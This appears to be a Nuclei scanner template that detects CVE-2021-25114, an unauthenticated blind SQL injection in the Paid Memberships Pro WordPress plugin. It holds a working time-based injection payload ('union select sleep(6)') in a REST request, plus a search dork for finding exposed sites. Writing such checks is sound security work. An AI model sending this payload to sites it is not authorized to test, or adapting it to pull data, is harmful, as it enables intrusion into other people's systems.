42 lines
1.4 KiB
YAML
42 lines
1.4 KiB
YAML
id: CVE-2021-25114
|
|
|
|
info:
|
|
name: Paid Memberships Pro < 2.6.7 - Unauthenticated Blind SQL Injection
|
|
author: theamanrawat
|
|
severity: critical
|
|
description: |
|
|
The plugin does not escape the discount_code in one of its REST route (available to unauthenticated users) before using it in a SQL statement, leading to a SQL injection.
|
|
reference:
|
|
- https://wpscan.com/vulnerability/6c25a5f0-a137-4ea5-9422-8ae393d7b76b
|
|
- https://wordpress.org/plugins/paid-memberships-pro/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-25114
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2021-25114
|
|
cwe-id: CWE-89
|
|
metadata:
|
|
google-query: inurl:"/wp-content/plugins/paid-memberships-pro"
|
|
verified: "true"
|
|
tags: wp-plugin,wp,sqli,paid-memberships-pro,wpscan,cve,cve2021,wordpress
|
|
|
|
requests:
|
|
- raw:
|
|
- |
|
|
@timeout: 15s
|
|
GET /?rest_route=/pmpro/v1/checkout_level&level_id=3&discount_code=%27%20%20union%20select%20sleep(6)%20--%20g HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
- |
|
|
GET /wp-content/plugins/paid-memberships-pro/js/pmpro-checkout.js HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- duration_1>=6
|
|
- contains(all_headers_1, "application/json")
|
|
- status_code == 200
|
|
- contains(body_2, 'other_discount_code_')
|
|
condition: and
|